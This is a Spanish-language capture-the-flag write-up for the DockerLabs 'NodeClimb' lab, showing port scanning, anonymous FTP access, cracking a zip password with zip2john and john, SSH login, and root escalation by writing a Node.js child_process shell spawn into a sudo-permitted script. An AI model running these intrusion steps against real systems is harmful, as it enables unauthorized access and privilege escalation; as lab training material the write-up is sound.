Post

DockerLabs - NodeClimb

DockerLabs - NodeClimb

nmap

1
2
3
4
5
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Nodeclimb]
└─$ nmap -p- -sS --min-rate 5000 -v -n -Pn 172.17.0.2 -oG allPorts
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Nodeclimb]
└─$ nmap -sCV -p21,22 172.17.0.2                                  
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:172.17.0.1
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 0        0             242 Jul 05  2024 secretitopicaron.zip
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 cd:1f:3b:2d:c4:0b:99:03:e6:a3:5c:26:f5:4b:47:ae (ECDSA)
|_  256 a0:d4:92:f6:9b:db:12:2b:77:b6:b1:58:e0:70:56:f0 (ED25519)

acceso inicial (mario)

Del escaneo de puertos encontramos que podemos conectarnos de manera anónima al servidor FTP con el usuario anonymous, y sin indicar contraseña:

1
2
3
4
5
6
7
8
9
10
11
12
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Nodeclimb]
└─$ ftp 172.17.0.2
Connected to 172.17.0.2.
220 (vsFTPd 3.0.3)
Name (172.17.0.2:elcybercurioso): anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> pwd
Remote directory: /

Dentro del servidor FTP, hay un comprimido .zip que podemos descargarnos para echarle un vistazo:

1
2
3
4
5
6
7
ftp> get secretitopicaron.zip
local: secretitopicaron.zip remote: secretitopicaron.zip
229 Entering Extended Passive Mode (|||10628|)
150 Opening BINARY mode data connection for secretitopicaron.zip (242 bytes).
100% |******************************************************************************************************************************************************|   242        1.22 MiB/s    00:00 ETA
226 Transfer complete.
242 bytes received in 00:00 (169.16 KiB/s)

Tratamos de abrirlo para descomprimir su contenido, pero vemos que nos pida una contraseña para poder hacerlo:

1
2
3
4
5
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Nodeclimb]
└─$ 7z x secretitopicaron.zip 

Enter password (will not be echoed):
ERROR: Wrong password : password.txt

Podemos obtener el hash del comprimido .zip para sacar la contraseña por fuerza bruta. Para ello emplearemos la herramienta zip2john:

1
2
3
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Nodeclimb]
└─$ zip2john secretitopicaron.zip > hash
ver 1.0 efh 5455 efh 7875 secretitopicaron.zip/password.txt PKZIP Encr: 2b chk, TS_chk, cmplen=52, decmplen=40, crc=59D5D024 ts=4C03 cs=4c03 type=0

Teniendo el hash, sacamos la contraseña con john:

1
2
3
4
5
6
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Nodeclimb]
└─$ john -w=/usr/share/wordlists/seclists/Passwords/xato-net-10-million-passwords-100000.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
p********        (secretitopicaron.zip/password.txt)     
Session completed.

Volvemos a abrir el comprimido, pero ahora indicamos la contraseña obtenida:

1
2
3
4
5
6
7
8
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Nodeclimb]
└─$ 7z x secretitopicaron.zip                                                                    
                   
Enter password (will not be echoed):
Everything is Ok

Size:       40
Compressed: 242

En el directorio vemos que nos ha generado un fichero llamado password.txt:

1
2
3
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Nodeclimb]
└─$ ls
hash  password.txt  secretitopicaron.zip

Dentro hay unas credenciales, las cuales resultan ser para acceder por SSH a la máquina:

1
2
3
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Nodeclimb]
└─$ cat password.txt                                           
mario:laKon***************************

escalada de privilegios (root)

Tras acceder, vemos que los permisos SUDO del usuario permiten ejecutar con node el script que se encuentra en la ubicación /home/mario/script.js:

1
2
3
4
5
6
mario@c7c3692488dd:~$ sudo -l
Matching Defaults entries for mario on c7c3692488dd:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User mario may run the following commands on c7c3692488dd:
    (ALL) NOPASSWD: /usr/bin/node /home/mario/script.js

Comprobamos que tenemos permisos para modificarlo, ya que el propietario de dicho fichero es el usuario con el que estamos logueados:

1
2
3
mario@c7c3692488dd:~$ ls -l 
total 0
-rw-r--r-- 1 mario mario 0 Jul  5  2024 script.js

En GTFOBins encontramos que podemos obtener una consola invocando un cierto comando:

Desktop View

Modificamos el fichero con la instrucción que nos indicaban:

1
2
mario@c7c3692488dd:~$ cat script.js 
require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})

Al ejecutar el comando con permisos SUDO, vemos que hemos podido invocar una consola como el usuario root:

1
2
3
mario@c7c3692488dd:~$ sudo /usr/bin/node /home/mario/script.js
# whoami
root

Y hasta aquí la resolución de la máquina!

buymecoffee_icon

This post is licensed under CC BY 4.0 by the author.